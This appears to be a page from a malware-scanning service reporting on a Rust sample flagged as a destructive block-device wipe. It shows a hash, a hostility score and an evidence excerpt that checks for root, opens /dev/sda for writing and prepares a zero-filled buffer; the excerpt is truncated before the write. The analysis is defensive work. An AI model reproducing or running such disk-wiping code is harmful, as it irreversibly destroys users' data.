Hostile 94% Download

15-linux-open.rs

Destructive block device wipe

Destructive overwrite of a raw block deviceRust OpenOptions opens a block device
SHA-2561416ee64c65e3b4b4dd19967d07bd94fcba6acaf8413498b2c00ad1f6109fca4

Evidence

Rust OpenOptions opens a block device lines 1–20
1use std::fs::OpenOptions;
2use std::io::Write;
3use std::os::unix::fs::OpenOptionsExt;
4
5fn main() {
6 if unsafe { libc::geteuid() } != 0 {
7 return;
8 }
9 let mut f = OpenOptions::new()
10 .write(true)
11 .custom_flags(libc::O_RDWR)
12 .open("/dev/sda")
13 .expect("open");
14 let buf = vec![0u8; 1024 * 1024];
6 lines

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.